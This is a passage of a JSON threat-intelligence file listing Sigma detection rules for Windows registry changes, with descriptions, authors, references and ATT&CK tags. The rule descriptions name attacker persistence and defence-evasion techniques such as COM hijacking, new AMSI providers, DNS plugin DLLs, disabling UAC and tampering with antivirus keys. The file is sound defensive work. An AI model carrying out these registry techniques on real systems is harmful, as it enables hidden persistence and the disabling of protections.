          "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand",
          "https://github.com/OTRF/detection-hackathon-apt29/issues/7",
          "https://docs.microsoft.com/en-us/windows/win32/shell/launch",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_com_hijacking_registry_key.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "96f697b0-b499-4e5d-9908-a67bec11cdb6",
      "value": "Removal of Potential COM Hijacking Registry Keys"
    },
    {
      "description": "Detects registry keys related to Ursnif malware.",
      "meta": {
        "author": "megan201296",
        "creation_date": "2019/02/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_add_malware_ursnif.yml",
        "level": "high",
        "logsource.category": "registry_add",
        "logsource.product": "windows",
        "refs": [
          "https://blog.yoroi.company/research/ursnif-long-live-the-steganography/",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_malware_ursnif.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "21f17060-b282-4249-ade0-589ea3591558",
      "value": "Potential Ursnif Malware Activity - Registry"
    },
    {
      "description": "Detects COM object hijacking via TreatAs subkey",
      "meta": {
        "author": "Kutepov Anton, oscd.community",
        "creation_date": "2019/10/23",
        "falsepositive": [
          "Maybe some system utilities in rare cases use linking keys for backward compatibility"
        ],
        "filename": "registry_add_persistence_com_key_linking.yml",
        "level": "medium",
        "logsource.category": "registry_add",
        "logsource.product": "windows",
        "refs": [
          "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_persistence_com_key_linking.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.015"
        ]
      },
      "related": [
        {
          "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9b0f8a61-91b2-464f-aceb-0527e0a45020",
      "value": "Potential COM Object Hijacking Via TreatAs Subkey - Registry"
    },
    {
      "description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence.\nThe disk cleanup manager is part of the operating system. It displays the dialog box […]\nThe user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI.\nAlthough Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications.\nInstead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler.\nAny developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/21",
        "falsepositive": [
          "Legitimate new entry added by windows"
        ],
        "filename": "registry_add_persistence_disk_cleanup_handler_entry.yml",
        "level": "medium",
        "logsource.category": "registry_add",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/",
          "https://persistence-info.github.io/Data/diskcleanuphandler.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_persistence_disk_cleanup_handler_entry.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "d4f4e0be-cf12-439f-9e25-4e2cdcf7df5a",
      "value": "Potential Persistence Via Disk Cleanup Handler - Registry"
    },
    {
      "description": "Detects the execution of a Sysinternals Tool via the creation of the \"accepteula\" registry key",
      "meta": {
        "author": "Markus Neis",
        "creation_date": "2017/08/28",
        "falsepositive": [
          "Legitimate use of SysInternals tools",
          "Programs that use the same Registry Key"
        ],
        "filename": "registry_add_pua_sysinternals_execution_via_eula.yml",
        "level": "low",
        "logsource.category": "registry_add",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Moti_B/status/1008587936735035392",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_pua_sysinternals_execution_via_eula.yml"
        ],
        "tags": [
          "attack.resource_development",
          "attack.t1588.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "25ffa65d-76d8-4da5-a832-3f2b0136e133",
      "value": "PUA - Sysinternal Tool Execution - Registry"
    },
    {
      "description": "Detects registry keys related to NetWire RAT",
      "meta": {
        "author": "Christopher Peacock",
        "creation_date": "2021/10/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_add_malware_netwire.yml",
        "level": "high",
        "logsource.category": "registry_add",
        "logsource.product": "windows",
        "refs": [
          "https://www.fortinet.com/blog/threat-research/new-netwire-rat-variant-spread-by-phishing",
          "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line",
          "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/",
          "https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/",
          "https://resources.infosecinstitute.com/topic/netwire-malware-what-it-is-how-it-works-and-how-to-prevent-it-malware-spotlight/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_malware_netwire.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1d218616-71b0-4c40-855b-9dbe75510f7f",
      "value": "Potential NetWire RAT Activity - Registry"
    },
    {
      "description": "Detects the creation of the \"accepteula\" key related to the Sysinternals tools being created from executables with the wrong name (e.g. a renamed Sysinternals tool)",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/24",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_add_pua_sysinternals_renamed_execution_via_eula.yml",
        "level": "high",
        "logsource.category": "registry_add",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_pua_sysinternals_renamed_execution_via_eula.yml"
        ],
        "tags": [
          "attack.resource_development",
          "attack.t1588.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f50f3c09-557d-492d-81db-9064a8d4e211",
      "value": "Suspicious Execution Of Renamed Sysinternals Tools - Registry"
    },
    {
      "description": "Detects when an attacker registers a new AMSI provider in order to achieve persistence",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/21",
        "falsepositive": [
          "Legitimate security products adding their own AMSI providers. Filter these according to your environment"
        ],
        "filename": "registry_add_persistence_amsi_providers.yml",
        "level": "high",
        "logsource.category": "registry_add",
        "logsource.product": "windows",
        "refs": [
          "https://persistence-info.github.io/Data/amsi.html",
          "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/FakeAMSI/FakeAMSI.c",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_persistence_amsi_providers.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "33efc23c-6ea2-4503-8cfe-bdf82ce8f705",
      "value": "Potential Persistence Via New AMSI Providers - Registry"
    },
    {
      "description": "Detects creation of \"UserInitMprLogonScript\" registry value which can be used as a persistence method by malicious actors",
      "meta": {
        "author": "Tom Ueltschi (@c_APT_ure)",
        "creation_date": "2019/01/12",
        "falsepositive": [
          "Investigate the contents of the \"UserInitMprLogonScript\" value to determine of the added script is legitimate"
        ],
        "filename": "registry_add_persistence_logon_scripts_userinitmprlogonscript.yml",
        "level": "medium",
        "logsource.category": "registry_add",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.001/T1037.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_persistence_logon_scripts_userinitmprlogonscript.yml"
        ],
        "tags": [
          "attack.t1037.001",
          "attack.persistence",
          "attack.lateral_movement"
        ]
      },
      "related": [
        {
          "dest-uuid": "eb125d40-0b2d-41ac-a71a-3229241c2cd3",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9ace0707-b560-49b8-b6ca-5148b42f39fb",
      "value": "Potential Persistence Via Logon Scripts - Registry"
    },
    {
      "description": "Detects the execution of some potentially unwanted tools such as PsExec, Procdump, etc. (part of the Sysinternals suite) via the creation of the \"accepteula\" registry key.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/24",
        "falsepositive": [
          "Legitimate use of SysInternals tools. Filter the legitimate paths used in your environment"
        ],
        "filename": "registry_add_pua_sysinternals_susp_execution_via_eula.yml",
        "level": "medium",
        "logsource.category": "registry_add",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Moti_B/status/1008587936735035392",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_pua_sysinternals_susp_execution_via_eula.yml"
        ],
        "tags": [
          "attack.resource_development",
          "attack.t1588.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c7da8edc-49ae-45a2-9e61-9fd860e4e73d",
      "value": "PUA - Sysinternals Tools Execution - Registry"
    },
    {
      "description": "Detects changes to the Netsh registry key to add a new DLL value. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper\n",
      "meta": {
        "author": "Anish Bogati",
        "creation_date": "2023/11/28",
        "falsepositive": [
          "Legitimate helper added by different programs and the OS"
        ],
        "filename": "registry_set_netsh_helper_dll_potential_persistence.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/",
          "https://www.ired.team/offensive-security/persistence/t1128-netsh-helper-dll",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_netsh_helper_dll_potential_persistence.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "f63fe421-b1d1-45c0-b8a7-02cd16ff2bed",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c90362e0-2df3-4e61-94fe-b37615814cb1",
      "value": "Potential Persistence Via Netsh Helper DLL - Registry"
    },
    {
      "description": "Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/05/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_dns_server_level_plugin_dll.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83",
          "https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_server_level_plugin_dll.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574.002",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e61e8a88-59a9-451c-874e-70fcc9740d67",
      "value": "New DNS ServerLevelPluginDll Installed"
    },
    {
      "description": "This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry.",
      "meta": {
        "author": "oscd.community, Natalia Shornikova",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_wab_dllpath_reg_change.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Hexacorn/status/991447379864932352",
          "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OSBinaries/Wab.yml",
          "http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wab_dllpath_reg_change.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fc014922-5def-4da9-a0fc-28c973f41bfb",
      "value": "Execution DLL of Choice Using WAB.EXE"
    },
    {
      "description": "Detects tamper attempts to sophos av functionality via registry key modification",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/02",
        "falsepositive": [
          "Some FP may occur when the feature is disabled by the AV itself, you should always investigate if the action was legitimate"
        ],
        "filename": "registry_set_sophos_av_tamper.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sophos_av_tamper.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9f4662ac-17ca-43aa-8f12-5d7b989d0101",
      "value": "Tamper With Sophos AV Registry Keys"
    },
    {
      "description": "Detects changes to the \"Default\" property for keys located in the \\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\ registry. Which might be used as a method of persistence\nThe entries found under App Paths are used primarily for the following purposes.\nFirst, to map an application's executable file name to that file's fully qualified path.\nSecond, to prepend information to the PATH environment variable on a per-application, per-process basis.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/10",
        "falsepositive": [
          "Legitimate applications registering their binary from on of the suspicious locations mentioned above (tune it)"
        ],
        "filename": "registry_set_persistence_app_paths.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/",
          "https://docs.microsoft.com/en-us/windows/win32/shell/app-registration?redirectedfrom=MSDN",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_app_paths.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.012"
        ]
      },
      "related": [
        {
          "dest-uuid": "6d4a7fb3-5a24-42be-ae61-6728a2b581f6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "707e097c-e20f-4f67-8807-1f72ff4500d6",
      "value": "Potential Persistence Via App Paths Default Property"
    },
    {
      "description": "Detect set Notification_Suppress to 1 to disable the Windows security center notification",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_suppress_defender_notifications.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suppress_defender_notifications.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0c93308a-3f1b-40a9-b649-57ea1a1c1d63",
      "value": "Activate Suppression of Windows Security Center Notifications"
    },
    {
      "description": "Detects when an attacker modifies the registry key \"HtmlHelp Author\" to achieve persistence",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_persistence_chm.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/",
          "https://persistence-info.github.io/Data/htmlhelpauthor.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_chm.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "976dd1f2-a484-45ec-aa1d-0e87e882262b",
      "value": "Potential Persistence Via CHM Helper DLL"
    },
    {
      "description": "Detects the registration of a new ODBC driver.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/23",
        "falsepositive": [
          "Likely"
        ],
        "filename": "registry_set_odbc_driver_registered.yml",
        "level": "low",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_odbc_driver_registered.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "3390fbef-c98d-4bdd-a863-d65ed7c610dd",
      "value": "New ODBC Driver Registered"
    },
    {
      "description": "Detects potential persistence using Appx DebugPath",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/07/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_persistence_appx_debugger.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/",
          "https://github.com/rootm0s/WinPwnage",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_appx_debugger.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.015"
        ]
      },
      "related": [
        {
          "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "df4dc653-1029-47ba-8231-3c44238cc0ae",
      "value": "Potential Persistence Using DebugPath"
    },
    {
      "description": "Detects potential abuse of the provisioning registry key for indirect command execution through \"Provlaunch.exe\".",
      "meta": {
        "author": "Swachchhanda Shrawan Poudel",
        "creation_date": "2023/08/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_provisioning_command_abuse.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1674399582162153472",
          "https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_provisioning_command_abuse.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7021255e-5db3-4946-a8b9-0ba7a4644a69",
      "value": "Potential Provisioning Registry Key Abuse For Binary Proxy Execution - REG"
    },
    {
      "description": "Detects disabling the CrashDump per registry (as used by HermeticWiper)",
      "meta": {
        "author": "Tobias Michalski (Nextron Systems)",
        "creation_date": "2022/02/24",
        "falsepositive": [
          "Legitimate disabling of crashdumps"
        ],
        "filename": "registry_set_crashdump_disabled.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_crashdump_disabled.yml"
        ],
        "tags": [
          "attack.t1564",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2ff692c2-4594-41ec-8fcb-46587de769e0",
      "value": "CrashControl CrashDump Disabled"
    },
    {
      "description": "Detects an attacker trying to enable the outlook security setting \"EnableUnsafeClientMailRules\" which allows outlook to run applications or execute macros",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_office_outlook_enable_unsafe_client_mail_rules.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=44",
          "https://support.microsoft.com/en-us/topic/how-to-control-the-rule-actions-to-start-an-application-or-run-a-macro-in-outlook-2016-and-outlook-2013-e4964b72-173c-959d-5d7b-ead562979048",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_outlook_enable_unsafe_client_mail_rules.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6763c6c8-bd01-4687-bc8d-4fa52cf8ba08",
      "value": "Outlook EnableUnsafeClientMailRules Setting Enabled - Registry"
    },
    {
      "description": "Detects when an attacker tries to disable User Account Control (UAC) by changing its registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA from 1 to 0",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_disable_uac_registry.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-8---disable-uac-using-regexe",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_uac_registry.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.defense_evasion",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "48437c39-9e5f-47fb-af95-3d663c3f2919",
      "value": "Disable UAC Using Registry"
    },
    {
      "description": "Detects registry modifications that disable internal tools or functions in explorer (malware like Agent Tesla uses this technique)",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/03/18",
        "falsepositive": [
          "Legitimate admin script"
        ],
        "filename": "registry_set_set_nopolicies_user.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_set_nopolicies_user.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1c3121ed-041b-4d97-a075-07f54f20fb4a",
      "value": "Registry Explorer Policy Modification"
    },
    {
      "description": "Detect changes to the \"PendingFileRenameOperations\" registry key from uncommon or suspicious images lcoations to stage currently used files for rename after reboot.",
      "meta": {
        "author": "frack113",
        "creation_date": "2023/01/27",
        "falsepositive": [
          "Installers and updaters may set currently in use files for rename after a reboot."
        ],
        "filename": "registry_set_susp_pendingfilerenameoperations.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc960241(v=technet.10)?redirectedfrom=MSDN",
          "https://any.run/report/3ecd4763ffc944fdc67a9027e459cd4f448b1a8d1b36147977afaf86bbf2a261/64b0ba45-e7ce-423b-9a1d-5b4ea59521e6",
          "https://www.trendmicro.com/en_us/research/19/i/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell.html",
          "https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html",
          "https://devblogs.microsoft.com/scripting/determine-pending-reboot-statuspowershell-style-part-1/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_pendingfilerenameoperations.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4eec988f-7bf0-49f1-8675-1e6a510b3a2a",
      "value": "Potential PendingFileRenameOperations Tamper"
    },
    {
      "description": "Detects tampering with attachment manager settings policies associations to lower the default file type risks (See reference for more information)",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/01",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_set_policies_associations_tamper.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465",
          "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_associations_tamper.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "a9b6c011-ab69-4ddb-bc0a-c4f21c80ec47",
      "value": "Potential Attachment Manager Settings Associations Tamper"
    },
    {
      "description": "Detects modification of autostart extensibility point (ASEP) in registry.",
      "meta": {
        "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason",
          "Legitimate administrator sets up autorun keys for legitimate reason"
        ],
        "filename": "registry_set_asep_reg_keys_modification_currentversion_nt.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d",
          "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion_nt.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cbf93e5d-ca6c-4722-8bea-e9119007c248",
      "value": "CurrentVersion NT Autorun Keys Modification"
    },
    {
      "description": "Detects tampering of RDP Terminal Service/Server sensitive settings.\nSuch as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections', etc.\n",
      "meta": {
